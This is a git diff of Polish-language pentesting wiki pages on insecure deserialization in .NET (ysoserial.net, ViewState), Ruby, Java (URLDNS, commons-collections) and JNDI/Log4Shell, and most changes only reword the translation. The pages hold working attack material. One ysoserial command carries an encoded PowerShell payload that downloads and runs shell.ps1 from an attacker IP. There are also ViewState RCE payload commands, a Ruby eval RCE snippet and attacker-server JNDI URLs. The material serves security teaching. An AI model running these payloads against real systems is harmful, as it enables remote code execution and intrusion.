Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.** -- **`--gadget`** używane do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystywana podczas deserializacji do wykonania poleceń). -- **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w zapleczu do deserializacji ładunku i użyć tej samej do jego serializacji) -- **`--output`** używane do wskazania, czy chcesz, aby exploit był w **surowym** lub **zakodowanym w base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek przy użyciu **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać pewne **problemy z kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._ +- **`--gadget`** używane do wskazania gadżetu do nadużycia (wskazuje klasę/funkcję, która będzie nadużywana podczas deserializacji w celu wykonania poleceń). +- **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji) +- **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek używając **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._ - **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState #### Więcej parametrów ysoserial.net -- `--minify` zapewni **mniejszy ładunek** (jeśli to możliwe) +- `--minify` dostarczy **mniejszy ładunek** (jeśli to możliwe) - `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadżety, które mogą być używane z podanym formatterem (`Json.Net` w tym przypadku) - `--sf xml` możesz **wskazać gadżet** (`-g`), a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter) @@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** ma również **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy exploit: `--test`\ -Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **wykorzystać** **exploit lokalnie**, abyś mógł przetestować, czy twój ładunek zadziała poprawnie.\ +Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **eksploatacji lokalnie**, abyś mógł przetestować, czy twój ładunek zadziała poprawnie.\ Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -815,18 +815,18 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Inna łańcuch RCE do wykorzystania Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Inne łańcuchy RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Metoda Ruby .send() Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli jakieś niesanitizowane dane wejściowe użytkownika dotrą do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami. -Na przykład, wywołanie eval i następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu: +Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu: ```ruby .send('eval', '') == RCE ``` Ponadto, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która **nie potrzebuje argumentów** lub której argumenty mają **wartości domyślne**.\ -W tym celu można enumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**. +W tym celu można wyenumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**. ```ruby .send('') @@ -854,7 +854,7 @@ Sprawdź, jak można [zanieczyścić klasę Ruby i wykorzystać to tutaj](ruby-c ### Zanieczyszczenie _json Ruby -Podczas wysyłania w ciele wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Jeśli backend na przykład sprawdza prawdziwość parametru, ale następnie również używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji. +Podczas wysyłania w ciele wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale także używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji. Sprawdź więcej informacji na stronie [zanieczyszczenia _json Ruby](ruby-_json-pollution.md). @@ -862,7 +862,7 @@ Sprawdź więcej informacji na stronie [zanieczyszczenia _json Ruby](ruby-_json- Ta technika została wzięta [**z tego wpisu na blogu**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i dlatego mogą być nadużywane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują z załadowanej biblioteki, gdy jest ona deserializowana (funkcja do nadużycia w celu uzyskania RCE w zasadzie): +Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i dlatego mogą być nadużywane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują załadowane biblioteki, gdy są deserializowane (funkcja do nadużycia w celu uzyskania RCE w zasadzie):
BibliotekaDane wejścioweMetoda uruchamiająca wewnątrz klasy
Marshal (Ruby)Binary_load
OjJSONhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
OxXMLhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
Psych (Ruby)YAMLhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
init_with
JSON (Ruby)JSONjson_create ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))
@@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która w swojej funkcji `hash` wywoła `to_s`, co wywoła spec, które wywoła fetch_path, co umożliwiło pobranie losowego URL, co stanowi doskonały detektor tego rodzaju nieoczyszczonych podatności na deserializację. +W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która w swojej funkcji `hash` wywoła `to_s`, co wywoła spec, które wywoła fetch_path, co pozwoliło na pobranie losowego URL, co stanowi doskonały detektor tego rodzaju nieoczyszczonych podatności na deserializację. ```json { "^o": "URI::HTTP", diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index dcf8d59ed..bb5c19567 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadgetem. +Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadżetem. ## Gadget ObjectDataProvider @@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base. ![](<../../images/image (319).png>) -Dobrze, kontynuujmy, przyglądając się, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi: +Ok, kontynuujmy, przyglądając się, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi: ![](<../../images/image (345).png>) @@ -56,10 +56,10 @@ Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\ ## ExpandedWrapper -Korzystając z poprzedniego exploita, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy nie będziemy mieli **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Ta klasa pozwala na s**pecyfikowanie typów obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ -Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_\*\* wewnątrz instancji \*\*_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. +Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ +Jest to bardzo przydatne w przypadkach, jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_\*\* wewnątrz instancji \*\*_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_. Możesz sprawdzić ten wrapper za pomocą następującego kodu: ```java @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator jest uruchamiany: +W tym kodzie możesz **przetestować exploit**, wystarczy go uruchomić, a zobaczysz, że kalkulator zostanie uruchomiony: ```java using System; using System.Text; diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 79edba37e..48bb6f070 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -2,11 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} - - ## Czym jest ViewState -**ViewState** jest domyślnym mechanizmem w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości, które mają być zachowane podczas postbacku, są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. +**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. Informacje o ViewState można scharakteryzować przez następujące właściwości lub ich kombinacje: @@ -24,11 +22,11 @@ Obrazek to tabela szczegółowo opisująca różne konfiguracje dla ViewState w 1. Dla **wszystkich wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji. 2. Dla **wersji poniżej 4.5**, jeśli MAC jest włączony, ale szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey nazywa się "Blacklist3r." 3. Dla **wersji poniżej 4.5**, niezależnie od tego, czy MAC jest włączony, czy wyłączony, jeśli szyfrowanie jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla "Blacklist3r - Future Development." -4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r." +4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy to obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r." ### Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false -Możliwe jest również całkowite wyłączenie ViewStateMAC poprzez ustawienie klucza rejestru `AspNetEnforceViewStateMac` na zero w: +Możliwe jest również całkowite wyłączenie ViewStateMAC, ustawiając klucz rejestru `AspNetEnforceViewStateMac` na zero w: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` @@ -40,7 +38,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` ### Test case 1.5 – Jak Test case 1, ale cookie ViewState nie jest wysyłane przez serwer -Programiści mogą **usunąć ViewState** z stania się częścią żądania HTTP (użytkownik nie otrzyma tego cookie).\ +Programiści mogą **usunąć ViewState** z części żądania HTTP (użytkownik nie otrzyma tego cookie).\ Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed wszelkimi potencjalnymi lukami związanymi z deserializacją ViewState.\ Jednak nie jest to prawda. Jeśli **dodamy parametr ViewState** do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć **wykonanie kodu**, jak pokazano w **Przypadku 1**. @@ -61,9 +59,9 @@ Możemy to również zrobić dla **całej** aplikacji, ustawiając to w pliku ** ``` -Ponieważ parametr jest chroniony przez MAC, aby pomyślnie przeprowadzić atak, najpierw musimy zdobyć używany klucz. +Ponieważ parametr jest chroniony przez MAC, aby pomyślnie przeprowadzić atak, najpierw musimy zdobyć użyty klucz. -Możesz spróbować użyć [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper), aby znaleźć używany klucz. +Możesz spróbować użyć [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper), aby znaleźć użyty klucz. ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" @@ -112,7 +110,7 @@ W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy w **W tym przypadku** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduł jest w trakcie rozwoju...** -**Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniemy ten parametr i wyślemy niezaszyfrowany ładunek, nadal zostanie on przetworzony.** +**Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniesz ten parametr i wyślesz niezaszyfrowany ładunek, nadal zostanie on przetworzony.** Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki w deserializacji ViewState. @@ -128,7 +126,7 @@ Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz param ```bash compatibilityMode="Framework45" ``` -Jak w poprzednim przypadku **wartość jest szyfrowana.** Następnie, aby wysłać **ważny ładunek, atakujący potrzebuje klucza**. +Jak w poprzednim przypadku **wartość jest zaszyfrowana.** Następnie, aby wysłać **ważny ładunek, atakujący potrzebuje klucza**. Możesz spróbować użyć [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper), aby znaleźć używany klucz: ``` @@ -138,7 +136,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -Aby uzyskać bardziej szczegółowy opis dla IISDirPath i TargetPagePath [odwołaj się tutaj](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +Dla bardziej szczegółowego opisu dla IISDirPath i TargetPagePath [zobacz tutaj](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) Lub, z [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (z wartością generatora): ```bash @@ -155,12 +153,12 @@ Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** par ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Udane wykorzystanie luki w deserializacji ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać więcej informacji na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +Udane wykorzystanie luki w deserializacji ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). ### Test Case 6 – ViewStateUserKeys jest używane Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakami CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\ -Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek: +Musisz użyć jeszcze jednego parametru, aby poprawnie utworzyć ładunek: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 7e993511a..fefd104f6 100644 --- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -59,7 +59,7 @@ Dlatego ta klasa może być **wykorzystana** w celu **uruchomienia** **zapytania ### Przykład kodu ładunku URLDNS -Możesz znaleźć [kod ładunku URDNS z ysoserial tutaj](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Jednak, aby ułatwić zrozumienie, jak to zakodować, stworzyłem własny PoC (oparty na tym z ysoserial): +Możesz znaleźć [kod ładunku URDNS od ysoserial tutaj](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Jednak, aby ułatwić zrozumienie, jak to zakodować, stworzyłem własny PoC (oparty na tym z ysoserial): ```java import java.io.File; import java.io.FileInputStream; @@ -135,7 +135,7 @@ Możesz pobrać [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) z Bu ### Jak to działa -**GadgetProbe** użyje tego samego **ładunku DNS z poprzedniej sekcji**, ale **przed** wykonaniem zapytania DNS spróbuje **zdeserializować dowolną klasę**. Jeśli **dowolna klasa istnieje**, **zapytanie DNS** zostanie **wysłane**, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli **żądanie DNS** **nigdy nie zostanie wysłane**, oznacza to, że **dowolna klasa nie została zdeserializowana** pomyślnie, więc albo nie jest obecna, albo **nie jest serializowalna/eksploatowalna**. +**GadgetProbe** użyje tego samego **ładunku DNS z poprzedniej sekcji**, ale **przed** uruchomieniem zapytania DNS spróbuje **zdeserializować dowolną klasę**. Jeśli **dowolna klasa istnieje**, **zapytanie DNS** zostanie **wysłane**, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli **żądanie DNS** **nigdy nie zostanie wysłane**, oznacza to, że **dowolna klasa nie została zdeserializowana** pomyślnie, więc albo nie jest obecna, albo **nie jest serializowalna/eksploatowalna**. W repozytorium github, [**GadgetProbe ma kilka list słów**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) z klasami Java do przetestowania. @@ -161,7 +161,7 @@ Domyślnie **sprawdza pasywnie** wszystkie żądania i odpowiedzi wysyłane **w **Testowanie ręczne** Możesz wybrać żądanie, kliknąć prawym przyciskiem myszy i `Wyślij żądanie do DS - Testowanie ręczne`.\ -Następnie, w zakładce _Skaner deserializacji_ --> _zakładka testowania ręcznego_ możesz wybrać **punkt wstawienia**. I **uruchomić test** (Wybierz odpowiedni atak w zależności od używanego kodowania). +Następnie, w zakładce _Skaner deserializacji_ --> _zakładka testowania ręcznego_ możesz wybrać **punkt wstawienia**. I **uruchomić testowanie** (Wybierz odpowiedni atak w zależności od używanego kodowania). ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) @@ -170,7 +170,7 @@ Nawet jeśli to nazywa się "Testowanie ręczne", jest dość **zautomatyzowane* **Eksploatacja** Gdy zidentyfikujesz podatną bibliotekę, możesz wysłać żądanie do _Zakładki Eksploatacji_.\ -W tej zakładce musisz **wybrać** ponownie **punkt wstrzyknięcia**, **wpisać** **podatną bibliotekę**, dla której chcesz stworzyć ładunek, oraz **komendę**. Następnie wystarczy nacisnąć odpowiedni przycisk **Atak**. +W tej zakładce musisz **wybrać** **punkt wstrzyknięcia** ponownie, **wpisać** **podatną bibliotekę**, dla której chcesz stworzyć ładunek, oraz **komendę**. Następnie po prostu naciśnij odpowiedni przycisk **Atak**. ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md index 147041877..97ed0f514 100644 --- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md +++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md @@ -4,7 +4,7 @@ ## Java Transformers do Rutime exec() -W kilku miejscach można znaleźć ładunek deserializacji java, który wykorzystuje transformery z Apache common collections, jak poniższy: +W kilku miejscach można znaleźć ładunek deserializacji java, który wykorzystuje transformery z Apache common collections, takie jak ten: ```java import org.apache.commons.*; import org.apache.commons.collections.*; @@ -86,7 +86,7 @@ ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz mógł wykonać dowolne polecenia. -Więc, **jak te transformacje są łączone?** +Więc, **jak są łączone te transformacje?** ```java Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 428001308..c325f5627 100644 --- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -15,7 +15,7 @@ Obiekty Java mogą być przechowywane i pobierane za pomocą Odniesień do nazw Jednak ten mechanizm może być wykorzystywany, co potencjalnie prowadzi do ładowania i wykonywania dowolnego kodu. Jako środek zaradczy: -- **RMI**: `java.rmi.server.useCodeabseOnly = true` domyślnie od JDK 7u21, ograniczając ładowanie obiektów zdalnych. Menedżer bezpieczeństwa dodatkowo ogranicza to, co może być ładowane. +- **RMI**: `java.rmi.server.useCodeabseOnly = true` domyślnie od JDK 7u21, ograniczając ładowanie zdalnych obiektów. Menedżer bezpieczeństwa dodatkowo ogranicza to, co może być ładowane. - **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonywanie zdalnie ładowanych obiektów Java. Jeśli ustawione na `true`, możliwe jest zdalne wykonanie kodu bez nadzoru Menedżera bezpieczeństwa. - **CORBA**: Nie ma konkretnej właściwości, ale Menedżer bezpieczeństwa jest zawsze aktywny. @@ -27,7 +27,7 @@ Przykłady podatnych adresów URL to: - _ldap://attacker-server/bar_ - _iiop://attacker-server/bar_ -Pomimo zabezpieczeń, luki wciąż istnieją, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń. +Pomimo zabezpieczeń, luki w zabezpieczeniach pozostają, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń. ### Przykład JNDI @@ -58,7 +58,7 @@ W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie ja ### LDAP Przede wszystkim musimy rozróżnić między Wyszukiwaniem a Wyszukiwaniem.\ -**Wyszukiwanie** użyje URL, takiego jak `ldap://localhost:389/o=JNDITutorial`, aby znaleźć obiekt JNDITutorial z serwera LDAP i **pobrać jego atrybuty**.\ +**Wyszukiwanie** użyje adresu URL takiego jak `ldap://localhost:389/o=JNDITutorial`, aby znaleźć obiekt JNDITutorial z serwera LDAP i **pobrać jego atrybuty**.\ **Wyszukiwanie** jest przeznaczone do **usług nazw**, ponieważ chcemy uzyskać **wszystko, co jest powiązane z nazwą**. Jeśli wyszukiwanie LDAP zostało wywołane z **SearchControls.setReturningObjFlag() z `true`, to zwrócony obiekt zostanie zrekonstruowany**. @@ -95,11 +95,11 @@ Dlatego jedyną rzeczą potrzebną do uzyskania RCE jest **podatna wersja Log4j ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krytyczne]** -Ta luka jest krytyczną **wadą nieufnej deserializacji** w komponencie `log4j-core`, wpływającą na wersje od 2.0-beta9 do 2.14.1. 